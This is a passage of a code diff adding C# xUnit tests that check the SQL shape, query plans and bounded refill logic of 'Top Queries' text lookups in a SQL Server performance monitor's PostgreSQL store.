+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5309 and #5313 (inside #5299): every Top Queries statement resolves the latest text of all its ranked groups with
+/// ONE lookup (no per-row <c>ORDER BY collection_time DESC LIMIT 1</c>, which scanned the raw table once per row on a
+/// store without TimescaleDB), and fills the page past the WAITFOR trim through <see cref="TopFill"/>'s bounded
+/// rounds instead of a fixed over-fetch of five. These are SQL-shape pins plus a unit test of the fill loop; the
+/// plans and timings are measured on a live store, not here.
+/// </summary>
+public sealed class TopTextLookupFillTests
+{
+    private static string Sql(string name) => name switch
+    {
+        "TopQueriesSql" => DarlingDataReader.TopQueriesSql,
+        "TopQueriesByHostObjectSql" => DarlingDataReader.TopQueriesByHostObjectSql,
+        "TopQueriesHourlySql" => DarlingDataReader.TopQueriesHourlySql,
+        "ViewerTopQueriesSql" => ViewerDataService.TopQueriesSql,
+        _ => throw new ArgumentOutOfRangeException(nameof(name)),
+    };
+
+    public static IEnumerable<object[]> Statements() =>
+        new[] { "TopQueriesSql", "TopQueriesByHostObjectSql", "TopQueriesHourlySql", "ViewerTopQueriesSql" }
+            .Select(n => new object[] { n });
+
+    // ------------------------------------------------------------------ #5309: one lookup
+
+    /// <summary>The raw statements (and the Viewer's) read the text in ONE pass over the winners. The hourly statement is
+    /// different on purpose and has its own test below.</summary>
+    public static IEnumerable<object[]> RawStatements() =>
+        new[] { "TopQueriesSql", "TopQueriesByHostObjectSql", "ViewerTopQueriesSql" }.Select(n => new object[] { n });
+
+    [Theory]
+    [MemberData(nameof(RawStatements))]
+    public void TheLatestTextIsOneLookupForAllRankedGroups_NotOnePerRow(string name)
+    {
+        var sql = Sql(name);
+        /* Materialized: the join to the lookup is NULL-safe, which PostgreSQL cannot hash, so a plain CTE is inlined into a
+           nested loop and re-run per ranked row (#5309's per-row re-run in a new shape; TopTextLookupPlanLiveTests reads it
+           from the plan). */
+        Assert.Contains("latest_text AS MATERIALIZED (", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LATERAL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LIMIT 1", sql, StringComparison.Ordinal);   /* the per-row text lookup's shape */
+        Assert.DoesNotMatch(@"(FROM|JOIN) v_query_stats", sql);
+        /* Each text lookup picks the newest row per key in one pass: DISTINCT ON over (key, collection_time DESC). */
+        Assert.Matches(@"SELECT DISTINCT ON \(q\.database_name, q\.(query_hash|host_object_name)", sql);
+        Assert.Matches(@"ORDER BY q\.database_name, q\.(query_hash|host_object_name)[^\r\n]*q\.collection_time DESC", sql);
+        /* The newest row's text resolves through the dimension for that one row, as v_query_stats' COALESCE does. */
+        Assert.Contains("COALESCE(l.query_text, d.query_text) AS query_text", sql, StringComparison.Ordinal);
+        Assert.Contains("LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest", sql, StringComparison.Ordinal);
+        /* The lookup joins the winners (or ranked) CTE, which is read, not repeated. */
+        Assert.Matches(@"JOIN (winners|ranked) AS (w|rk)\b[\s\S]*COALESCE\(q\.", sql);
+    }
+
+    [Theory]
+    [MemberData(nameof(Statements))]
+    public void TheLookupMatchesTheKeyNullSafely_AndOnlyTheOuterJoinReadsTheResult(string name)
+    {
+        var sql = Sql(name);
+        Assert.Contains("q.database_name IS NOT DISTINCT FROM", sql, StringComparison.Ordinal);
+        /* The one join to the ranked rows is NULL-safe on every key column; no plain "t.x = r.x" equality that would
+           drop a NULL-keyed group's text. */
+        Assert.DoesNotMatch(@"\bt\.\w+\s*=\s*r\.", sql);
+        Assert.Single(Regex.Matches(sql, @"LEFT JOIN latest_text AS t|LEFT JOIN latest_in_window AS w"));
+    }
+
+    [Theory]
+    [InlineData("TopQueriesSql")]
+    [InlineData("TopQueriesByHostObjectSql")]
+    [InlineData("ViewerTopQueriesSql")]
+    public void TheRawLookupIsBoundedToTheWindow(string name)
+    {
+        var sql = Sql(name);
+        var lookup = sql[sql.IndexOf("latest_text AS MATERIALIZED (", StringComparison.Ordinal)..];
+        var end = lookup.IndexOf("LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest", StringComparison.Ordinal);
+        lookup = lookup[..end];
+        Assert.Contains("q.collection_time >= $2", lookup, StringComparison.Ordinal);
+        Assert.Contains("q.collection_time <= $3", lookup, StringComparison.Ordinal);
+        Assert.Contains("q.server_id = $1", lookup, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHourlyWindowLookup_ProbesTheIndexOncePerRankedKey_NotTheWholeWindow()
+    {
+        var sql = DarlingDataReader.TopQueriesHourlySql;
+        var window = sql.IndexOf("latest_in_window AS (", StringComparison.Ordinal);
+        var lookup = sql[window..sql.IndexOf("missing AS MATERIALIZED (", StringComparison.Ordinal)];
+        /* One probe per ranked key: a lateral over ranked, each arm an ordered LIMIT 1 on the indexed hash equality
+           (idx_query_stats_server_hash_time: server_id, query_hash, collection_time DESC). The old form read every raw row
+           of the window and hash joined it to the ranked keys (1,439,400 rows at 168 hours to find 25 texts). */
+        Assert.Contains("FROM ranked AS rk", lookup, StringComparison.Ordinal);
+        Assert.Contains("CROSS JOIN LATERAL", lookup, StringComparison.Ordinal);
+        Assert.DoesNotContain("DISTINCT ON", lookup, StringComparison.Ordinal);
+        Assert.DoesNotContain("JOIN ranked", lookup, StringComparison.Ordinal);
+        Assert.Contains("q.query_hash = rk.query_hash", lookup, StringComparison.Ordinal);
+        Assert.Equal(2, Regex.Matches(lookup, @"ORDER BY q\.collection_time DESC, q\.collection_id DESC\s+LIMIT 1").Count);   /* N3: a tie on the time breaks on the row collected last */
+        /* NULL-safe on every key column: the database by IS NOT DISTINCT FROM, the hash by its own NULL arm. */
+        Assert.Contains("q.database_name IS NOT DISTINCT FROM rk.database_name", lookup, StringComparison.Ordinal);
+        Assert.Contains("q.query_hash IS NULL", lookup, StringComparison.Ordinal);
+        Assert.Contains("rk.query_hash IS NULL", lookup, StringComparison.Ordinal);
+        /* One text lookup per statement still: the window pass, then the fallback for the keys it found nothing for. */
+        Assert.Single(Regex.Matches(sql, @"LEFT JOIN latest_in_window AS w"));
+        Assert.Single(Regex.Matches(sql, @"FROM latest_in_window"));
+    }
+
+    [Fact]
+    public void TheHourlyLookup_ReadsTheWindowFirst_ThenOnlyTheKeysTheWindowHadNoTextFor()
+    {
+        var sql = DarlingDataReader.TopQueriesHourlySql;
+        var window = sql.IndexOf("latest_in_window AS (", StringComparison.Ordinal);
+        var missing = sql.IndexOf("missing AS MATERIALIZED (", StringComparison.Ordinal);
+        var any = sql.IndexOf("latest_any AS MATERIALIZED (", StringComparison.Ordinal);
+        var final = sql.IndexOf("COALESCE(w.query_text, a.query_text) AS query_text", StringComparison.Ordinal);
+        Assert.True(window > 0 && window < missing && missing < any && any < final);
+        var windowPass = sql[window..missing];
+        Assert.Contains("q.collection_time >= $2", windowPass, StringComparison.Ordinal);
+        Assert.Contains("q.collection_time < $3", windowPass, StringComparison.Ordinal);
+        /* The fallback has no window bound (the rollup outlives raw), but it joins only the missing keys. */
+        var anyPass = sql[any..final];
+        Assert.DoesNotContain("collection_time >=", anyPass, StringComparison.Ordinal);
+        /* #5299 round 2 (N1): a per-key lateral probe of the hash index (two arms, so a NULL-hash key still finds its text),
+           not one DISTINCT ON over every raw row of the server joined to the missing keys. */
+        Assert.Contains("FROM missing AS m", anyPass, StringComparison.Ordinal);
+        Assert.Contains("CROSS JOIN LATERAL", anyPass, StringComparison.Ordinal);
+        Assert.DoesNotContain("DISTINCT ON", anyPass, StringComparison.Ordinal);
+        Assert.Equal(3, Regex.Matches(anyPass, @"LIMIT 1\s*$", RegexOptions.Multiline).Count);
+        Assert.Contains("NOT EXISTS", sql[missing..any], StringComparison.Ordinal);
+    }
+
+    // ------------------------------------------------------------------ #5299 round 2: N3 and N6, a total order
+
+    [Fact]
+    public void EveryNewestTextPick_BreaksATieOnTheTimeOnTheRowCollectedLast()
+    {
+        /* Two rows of one key at one collection_time (one shape hash, two plans, one collection) must give the same text every
+           run, because the text also decides the WAITFOR trim. collection_id is unique per row, so it is a total tie-break. */
+        foreach (var (name, sql) in new[]
+        {
+            ("TopQueriesSql", DarlingDataReader.TopQueriesSql),
+            ("TopQueriesByHostObjectSql", DarlingDataReader.TopQueriesByHostObjectSql),
+            ("TopQueriesHourlySql", DarlingDataReader.TopQueriesHourlySql),
+            ("QueryStoreTopSql", DarlingDataReader.QueryStoreTopSql),
+            ("QueryStoreTopTableSql", DarlingDataReader.QueryStoreTopTableSql),
+            ("QueryStoreTopDailyTableSql", DarlingDataReader.QueryStoreTopDailyTableSql),
+            ("ViewerTopQueriesSql", ViewerDataService.TopQueriesSql),
+            ("ViewerQueryStoreTopSql", ViewerDataService.QueryStoreTopSql),
+        })
+        {
+            var picks = Regex.Matches(sql, @"ORDER BY[^\n]*\b[qs]\.collection_time DESC[^\n]*").Select(m => m.Value).ToList();
+            Assert.NotEmpty(picks);
+            Assert.All(picks, pick => Assert.True(pick.Contains("collection_id DESC", StringComparison.Ordinal),
+                $"{name}: the newest-text pick '{pick.Trim()}' has no tie-break after collection_time"));
+        }
+    }
+
+    [Fact]
+    public void TheQueryStoreAndViewerTopStatements_RankOnATotalOrder()
+    {
+        /* Ranking value, then the whole group key: an exact tie at the candidate boundary must not pick different members in a
+           refill round. The page order uses the same columns the ranking did. */
+        const string queryStoreKey = "database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role";
+        foreach (var sql in new[] { DarlingDataReader.QueryStoreTopSql, DarlingDataReader.QueryStoreTopTableSql, DarlingDataReader.QueryStoreTopDailyTableSql, ViewerDataService.QueryStoreTopSql })
+        {
+            Assert.Contains("DESC, " + queryStoreKey + "\n", sql.ReplaceLineEndings("\n"), StringComparison.Ordinal);
+            Assert.Contains("DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role) AS page_ord", sql, StringComparison.Ordinal);
+        }
+
+        var viewer = ViewerDataService.TopQueriesSql.ReplaceLineEndings("\n");
+        Assert.Contains("ORDER BY SUM(delta_elapsed_time) DESC, database_name, query_hash, host_object_name\n", viewer, StringComparison.Ordinal);
+        Assert.Contains("ROW_NUMBER() OVER (ORDER BY r.total_elapsed_us DESC, r.database_name, r.query_hash, r.host_object_name) AS page_ord", viewer, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY r.total_elapsed_us DESC, r.database_name, r.query_hash, r.host_object_name\n", viewer, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHostObjectLookup_KeysOnTheGroupingKey_SoAProcGroupTakesAnyFragmentsText()
+    {
+        var sql = DarlingDataReader.TopQueriesByHostObjectSql;
+        Assert.Contains("SELECT DISTINCT ON (q.database_name, q.host_object_name, CASE WHEN q.host_object_name IS NULL THEN q.query_hash END)", sql, StringComparison.Ordinal);
+        Assert.Contains("AND t.group_hash IS NOT DISTINCT FROM CASE WHEN r.host_object_name IS NULL THEN r.query_hash END", sql, StringComparison.Ordinal);
+    }
+
+    // ------------------------------------------------------------------ #5313: the bounded fill
+
+    [Theory]
+    [MemberData(nameof(Statements))]
+    public void TheCandidateLimitIsAParameter_NotAFixedFive_AndTheCountRidesLast(string name)
+    {
+        var sql = Sql(name);
+        Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);
+        var limit = name is "TopQueriesHourlySql" or "ViewerTopQueriesSql" ? "LIMIT $6" : "LIMIT $7";
+        Assert.Single(Regex.Matches(sql, Regex.Escape(limit) + @"\s*$", RegexOptions.Multiline));
+        Assert.Single(Regex.Matches(sql, @"LIMIT \$4\s*$", RegexOptions.Multiline));   /* the final cap stays top */
+        /* The count rides on a row of its own, joined to the page, so a round whose candidates were ALL trimmed still
+           reports it (an empty page used to read as exhausted). page_ord is the page's last column and is NULL on that row. */
+        Assert.Matches(@"FROM \(SELECT COUNT\(\*\) AS candidate_count FROM (winners|ranked)\) AS c\s+LEFT JOIN page AS p ON TRUE", sql);
+        Assert.Single(Regex.Matches(sql, @"SELECT p\.\*, c\.candidate_count"));
+        Assert.Single(Regex.Matches(sql, @"AS page_ord"));
+        Assert.Matches(@"ORDER BY p\.page_ord\s*$", sql);
+    }
+
+    [Fact]
+    public void TheCallersRunTheStatementsThroughTopFill()
+    {
+        var reader = System.IO.File.ReadAllText(FindSource("PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs"));
+        Assert.Equal(4, Regex.Matches(reader, @"TopFill\.RunAsync\(top,").Count);   /* raw and hourly Top Queries, then the Query Store raw read and its table read (daily shares the table call site) */
+        var viewer = System.IO.File.ReadAllText(FindSource("PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs"));
+        Assert.Single(Regex.Matches(viewer, @"TopFill\.RunAsync\(top,"));
+        var viewerQs = System.IO.File.ReadAllText(FindSource("PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs"));
+        Assert.Equal(2, Regex.Matches(viewerQs, @"TopFill\.RunAsync\(top,").Count);   /* raw and interval table */
+    }
+
+    private static string FindSource(string relative)
+    {
+        var dir = new System.IO.DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null)
+        {
+            var path = System.IO.Path.Combine(dir.FullName, "Darling", relative);
+            if (System.IO.File.Exists(path))
+            {
+                return path;
+            }
+
+            path = System.IO.Path.Combine(dir.FullName, relative);
+            if (System.IO.File.Exists(path))
+            {
+                return path;
+            }
+
+            dir = dir.Parent;
+        }
+
+        throw new System.IO.FileNotFoundException(relative);
+    }
+
+    [Fact]
+    public void FirstRound_IsTopPlusFive_TheOldOverFetch()
+    {
+        Assert.Equal(30, TopFill.FirstCandidates(25));
+        Assert.Equal(int.MaxValue, TopFill.FirstCandidates(int.MaxValue));
+    }
+
+    [Theory]
+    [InlineData(25, 1, 30, 25, 30)]    /* a full page stops */
+    [InlineData(25, 1, 30, 20, 12)]    /* short, but the candidates ran out (12 < 30): nothing more to fetch */
+    [InlineData(25, 1, 30, 0, 0)]      /* the round found no candidates at all: exhausted */
+    [InlineData(25, 3, 225, 10, 225)]  /* the round bound */
+    public void NoRefill_WhenFull_Exhausted_OrAtTheBound(int top, int round, int candidates, int returned, int candidateCount)
+    {
+        Assert.Null(TopFill.NextCandidates(top, round, candidates, returned, candidateCount));
+    }
+
+    [Fact]
+    public void Refill_GrowsFourfold_CappedAtTopPlus200()
+    {
+        Assert.Equal(120, TopFill.NextCandidates(25, 1, 30, 20, 30));
+        Assert.Equal(225, TopFill.NextCandidates(25, 2, 120, 20, 120));   /* 480 would pass top + 200 */
+        Assert.Null(TopFill.NextCandidates(25, 2, 225, 20, 225));         /* already at the cap */
+    }
+
+    [Fact]
+    public async Task Run_AnEmptyRoundThatSawAFullCandidateLimit_AsksAgain_UpToTheBound()
+    {
+        /* #5313: every candidate is a shell, so each round trims to nothing and returns no page row, but it still reports
+           that it considered its whole candidate limit. The fill must go on: 30, 120, 225 candidates and then stop. */
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(25, c =>
+        {
+            asked.Add(c);
+            return Task.FromResult((new List<int>(), c));
+        });
+        Assert.Equal(new[] { 30, 120, 225 }, asked);   /* at most three rounds, never more than top + 200 candidates */
+        Assert.Empty(rows);
+    }
+
+    [Fact]
+    public async Task Run_AnIdleWindow_CostsOneRound()
+    {
+        /* No candidates at all: the count row says 0, which is under the first limit, so there is nothing to refill. */
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(25, c =>
+        {
+            asked.Add(c);
+            return Task.FromResult((new List<int>(), 0));
+        });
+        Assert.Equal(new[] { 30 }, asked);
+        Assert.Empty(rows);
+    }
+
+    [Fact]
+    public async Task Run_AnEmptyFirstRound_ThenRealRows_FillsThePage()
+    {
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(3, c =>
+        {
+            asked.Add(c);
+            return Task.FromResult(c < 30 ? (new List<int>(), c) : (new List<int> { 1, 2, 3 }, c));
+        });
+        Assert.Equal(new[] { 8, 32 }, asked);
+        Assert.Equal(3, rows.Count);
+    }
+
+    // ------------------------------------------------------------------ the Query Store twin (#5313)
+
+    public static IEnumerable<object[]> QueryStoreStatements() =>
+        new[] { "McpRaw", "McpTable", "McpDaily", "ViewerRaw", "ViewerTable" }.Select(n => new object[] { n });
+
+    private static (string Sql, string Limit) QueryStoreSql(string name) => name switch
+    {
+        "McpRaw" => (DarlingDataReader.QueryStoreTopSql, "LIMIT $8"),
+        "McpTable" => (DarlingDataReader.QueryStoreTopTableSql, "LIMIT $8"),
+        "McpDaily" => (DarlingDataReader.QueryStoreTopDailyTableSql, "LIMIT $10"),
+        "ViewerRaw" => (ViewerDataService.QueryStoreTopSql, "LIMIT $6"),
+        "ViewerTable" => (ViewerDataService.QueryStoreTopTableSql, "LIMIT $6"),
+        _ => throw new ArgumentOutOfRangeException(nameof(name)),
+    };
+
+    [Theory]
+    [MemberData(nameof(QueryStoreStatements))]
+    public void TheQueryStoreReads_TakeTheCandidateLimitAsAParameter_AndReportTheCountOnTheirOwnRow(string name)
+    {
+        var (sql, limit) = QueryStoreSql(name);
+        Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(sql, Regex.Escape(limit) + @"\s*$", RegexOptions.Multiline));
+        Assert.Single(Regex.Matches(sql, @"LIMIT \$4\s*$", RegexOptions.Multiline));   /* the final cap stays top */
+        Assert.Matches(@"FROM \(SELECT COUNT\(\*\) AS candidate_count FROM ranked\) AS c\s+LEFT JOIN page AS p ON TRUE", sql);
+        Assert.Single(Regex.Matches(sql, @"SELECT p\.\*, c\.candidate_count"));
+        Assert.Single(Regex.Matches(sql, @"AS page_ord"));
+        Assert.Matches(@"ORDER BY p\.page_ord\s*$", sql);
+    }
+
+    [Fact]
+    public async Task Run_StopsAtTheFirstFullPage_AfterOneRound()
+    {
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(25, c =>
+        {
+            asked.Add(c);
+            return Task.FromResult((Enumerable.Range(0, 25).ToList(), c));
+        });
+        Assert.Equal(new[] { 30 }, asked);
+        Assert.Equal(25, rows.Count);
+    }
+
+    [Fact]
+    public async Task Run_FillsThePageWhenMoreThanFiveShellsAreTrimmed()
+    {
+        /* 40 WAITFOR shells lead the ranking: the page can only fill once the candidate limit passes 40 + 25. */
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(25, c =>
+        {
+            asked.Add(c);
+            var survivors = Math.Max(0, Math.Min(c, 1000) - 40);
+            return Task.FromResult((Enumerable.Range(0, Math.Min(25, survivors)).ToList(), Math.Min(c, 1000)));
+        });
+        Assert.Equal(new[] { 30, 120 }, asked);
+        Assert.Equal(25, rows.Count);
+    }
+
+    [Fact]
+    public async Task Run_NeverRunsMoreThanThreeRounds_AndNeverPassesTheCandidateCap()
+    {
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(25, c =>
+        {
+            asked.Add(c);
+            return Task.FromResult((new List<int>(), c));   /* every candidate trimmed, always more behind them */
+        });
+        Assert.Equal(new[] { 30, 120, 225 }, asked);
+        Assert.Empty(rows);
+        Assert.All(asked, c => Assert.True(c <= 25 + TopFill.MaxExtraCandidates));
+    }
+
+    [Fact]
+    public async Task Run_StopsWhenTheCandidatesRunOut_WithAShortPage()
+    {
+        var asked = new List<int>();
+        var rows = await TopFill.RunAsync(25, c =>
+        {
+            asked.Add(c);
+            return Task.FromResult((Enumerable.Range(0, 3).ToList(), 12));   /* only 12 candidates exist, 9 of them shells */
+        });
+        Assert.Equal(new[] { 30 }, asked);
+        Assert.Equal(3, rows.Count);
+    }
+}
diff --git a/Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs b/Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs
new file mode 100644
index 0000000000..6c716c15fd
--- /dev/null
+++ b/Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs
@@ -0,0 +1,358 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/* #1776 own-store: every fact mints its own scratch database through ScratchPostgres (#4650: EXPLAIN reads the chunk list,
+   and a shared store carries other classes' leftovers) and touches nothing on the shared one, so it is not serialized
+   against the live-postgres collection. */
+
+/// <summary>
+/// #5309 and #5313 (inside #5299): the PLAN of the text lookup, read from EXPLAIN (ANALYZE, FORMAT JSON) on a small seed.
+/// Two defects the large-store timing found, each pinned here by what the plan does, not by what the text says.
+///
+/// <para><b>The raw lookup runs once.</b> <c>latest_text</c> is joined to the ranked rows NULL-safe
+/// (<c>IS NOT DISTINCT FROM</c>), which PostgreSQL cannot hash, so a plain CTE is inlined into a nested loop and re-run for
+/// every ranked row (a 120-candidate round scanned the 20,000-row text dimension 10,000 times, 9,975 ms against 805 ms
+/// materialized). With WAITFOR shells planted above the real groups the round has to read past them, which is the case
+/// that made it expensive. The seed here is 125 candidates over unanalyzed tables, so the planner estimates one row and
+/// takes the nested loop on the plain CTE; the test asserts the lookup is its own CTE node that ran one time.</para>
+///
+/// <para><b>The hourly lookup reads the ranked keys, not the window.</b> <c>latest_in_window</c> read every raw row of the
+/// window and joined it to the ranked keys (1,439,400 rows at 168 hours to find 25 texts). It now probes
+/// <c>idx_query_stats_server_hash_time</c> once per ranked key. The test asserts the rows the lookup reads from raw are
+/// bounded by the ranked keys, not by the window's row count.</para>
+/// </summary>
+public sealed class TopTextLookupPlanLiveTests
+{
+    private const string ServerName = "a5299-text-lookup-plan";
+    private const int Shells = 120;
+    private const int Real = 30;
+    private const int RowsPerGroup = 12;
+    private const int Candidates = 125;
+    private const int Top = 5;
+
+    [Fact]
+    public Task TheRawLookup_RunsOnce_NotOncePerRankedRow() =>
+        WithSeedAsync(async (connection, serverId, now, ct) =>
+        {
+            var start = now.AddHours(-24);
+            var end = now.AddMinutes(5);
+
+            foreach (var name in new[] { "TopQueriesSql", "TopQueriesByHostObjectSql" })
+            {
+                var sql = TopRankings.Apply(name == "TopQueriesSql" ? DarlingDataReader.TopQueriesSql : DarlingDataReader.TopQueriesByHostObjectSql,
+                    TopRanking.Cpu, hourly: false);
+                var plan = await ExplainAsync(connection, sql, ct, serverId, start, end,
+                    P(NpgsqlDbType.Integer, Top), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 0), P(NpgsqlDbType.Integer, Candidates));
+                AssertLookupRanOnce(name, plan);
+            }
+
+            var viewerPlan = await ExplainAsync(connection, ViewerDataService.TopQueriesSql, ct, serverId, start, end,
+                P(NpgsqlDbType.Integer, Top), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, Candidates));
+            AssertLookupRanOnce("ViewerTopQueriesSql", viewerPlan);
+        });
+
+    [Fact]
+    public Task TheHourlyLookup_ReadsTheRankedKeys_NotTheWholeWindow() =>
+        WithSeedAsync(async (connection, serverId, now, ct) =>
+        {
+            /* The index the lookup probes is created by the service at start (PgTableTuning.ApplyAsync), not by a migration, so a
+               test store may lack it: make sure it is there, and give the planner statistics, as a store that has run a while has.
+               (Without the statistics the unanalyzed seed makes the planner walk the time index and filter on the hash.) */
+            const string indexName = "idx_query_stats_server_hash_time";
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "CREATE INDEX IF NOT EXISTS " + indexName + " ON collect.query_stats (server_id, query_hash, collection_time DESC)");
+            /* The database is this test's own scratch store, so the index goes with it: no teardown to run. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, "ANALYZE collect.query_stats");
+            await AssertHourlyLookupAsync(connection, serverId, now, ct);
+        });
+
+    private static async Task AssertHourlyLookupAsync(NpgsqlConnection connection, int serverId, DateTime now, CancellationToken ct)
+    {
+        /* The rollup is stood in for by a plain relation over the raw rows, so the test reads the TEXT lookup's plan
+           and not the router's: ranked reads it, the lookup reads query_stats. */
+        const string standIn = "(SELECT server_id, collection_time AS bucket, database_name, query_hash, sql_handle, " +
+            "delta_execution_count AS execution_count_sum, delta_worker_time AS worker_time_sum, " +
+            "delta_elapsed_time AS elapsed_time_sum FROM collect.query_stats) AS f";
+        var sql = TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Cpu, hourly: true)
+            .Replace("$FROM$", standIn, StringComparison.Ordinal)
+            .Replace("$IOSUMS$", TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+            .Replace("$CEIL$", "", StringComparison.Ordinal);
+        var plan = await ExplainAsync(connection, sql, ct, serverId, now.AddHours(-24), now.AddMinutes(5),
+            P(NpgsqlDbType.Integer, Top), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, Candidates));
+
+        var lookup = Nodes(plan.Root, null).Where(n => n.Cte == "latest_in_window" && n.Relation == "query_stats").ToList();
+        Assert.NotEmpty(lookup);
+        /* Rows the lookup touched in raw: what each scan returned plus what its filter threw away, over every loop. */
+        var read = lookup.Sum(n => (n.Rows + n.Removed) * n.Loops);
+        var windowRows = (long)(Shells + Real) * RowsPerGroup;
+        var rankedKeys = Candidates;
+        Assert.True(read <= rankedKeys * 4,
+            $"the hourly text lookup read {read} raw rows [{string.Join("; ", lookup.Select(n => $"{n.NodeType} loops={n.Loops} rows={n.Rows} removed={n.Removed}"))}] for {rankedKeys} ranked keys over a window of {windowRows}; it must read about one per key, not the window");
+    }
+
+    [Fact]
+    public Task TheHourlyLookup_StillFindsTheText_ForANullKey_ATextlessNewestRow_AndAKeyWithNoRowInTheWindow() =>
+        WithSeedAsync(async (connection, serverId, now, ct) =>
+        {
+            async Task Plant(string? database, string? hash, DateTime at, string? text) =>
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_stats
+                          (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                           query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                           delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                           min_dop, max_dop, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, $6, '0xP', '0xS', '0xL', $7, 10, $8, 100, 100, 0, 0, 1, 100, 1, 100, 1, 1, 3600)",
+                    CollectionIdGenerator.Next(), at, serverId, "a5299-hourly-keys", database, hash, text, 1_000_000L - (long)(now - at).TotalMinutes);
+
+            /* The newest row in the window has no text: the lookup takes the newest row that does, inside the window. */
+            await Plant("D1", "0xH1", now.AddHours(-3), "older text in the window");
+            await Plant("D1", "0xH1", now.AddHours(-1), null);
+            /* A group with a NULL database and a NULL hash still gets its text (strict equality would have lost it). */
+            await Plant(null, null, now.AddHours(-2), "text of the null-keyed group");
+            /* A group the window holds no text for: the rollup outlives raw, so the fallback finds the newest text raw has at all. */
+            await Plant("D3", "0xH3", now.AddHours(-2), null);
+            await Plant("D3", "0xH3", now.AddDays(-10), "text outside the window");
+
+            var standIn = "(SELECT server_id, collection_time AS bucket, database_name, query_hash, sql_handle, " +
+                "delta_execution_count AS execution_count_sum, delta_worker_time AS worker_time_sum, " +
+                "delta_elapsed_time AS elapsed_time_sum FROM collect.query_stats WHERE collection_time >= '" +
+                now.AddDays(-2).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture) + "') AS f";
+            /* The stand-in keeps the window rows only, so the fallback's ten-day-old row is read by latest_any from raw, as in life. */
+            var sql = TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Cpu, hourly: true)
+                .Replace("$FROM$", standIn, StringComparison.Ordinal)
+                .Replace("$IOSUMS$", TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+                .Replace("$CEIL$", "", StringComparison.Ordinal);
+            await using var command = new NpgsqlCommand(sql, connection);
+            command.Parameters.Add(P(NpgsqlDbType.Integer, serverId));
+            command.Parameters.Add(P(NpgsqlDbType.Timestamp, DateTime.SpecifyKind(now.AddHours(-24), DateTimeKind.Unspecified)));
+            command.Parameters.Add(P(NpgsqlDbType.Timestamp, DateTime.SpecifyKind(now.AddMinutes(5), DateTimeKind.Unspecified)));
+            command.Parameters.Add(P(NpgsqlDbType.Integer, 10));
+            command.Parameters.Add(P(NpgsqlDbType.Array | NpgsqlDbType.Text, null));
+            command.Parameters.Add(P(NpgsqlDbType.Integer, 10));
+            var texts = new Dictionary<string, string?>();
+            await using (var reader = await command.ExecuteReaderAsync(ct))
+            {
+                while (await reader.ReadAsync(ct))
+                {
+                    if (!reader.IsDBNull(10))
+                    {
+                        texts[(reader.IsDBNull(0) ? "(null)" : reader.GetString(0)) + "/" + (reader.IsDBNull(1) ? "(null)" : reader.GetString(1))] =
+                            reader.IsDBNull(6) ? null : reader.GetString(6);
+                    }
+                }
+            }
+
+            Assert.Equal(3, texts.Count);
+            Assert.Equal("older text in the window", texts["D1/0xH1"]);
+            Assert.Equal("text of the null-keyed group", texts["(null)/(null)"]);
+            Assert.Equal("text outside the window", texts["D3/0xH3"]);
+        }, "a5299-hourly-keys", bulk: false);
+
+    [Fact]
+    public Task TheHourlyFallback_ProbesEachMissingKey_NotTheWholeRawTable() =>
+        WithSeedAsync(async (connection, serverId, now, ct) =>
+        {
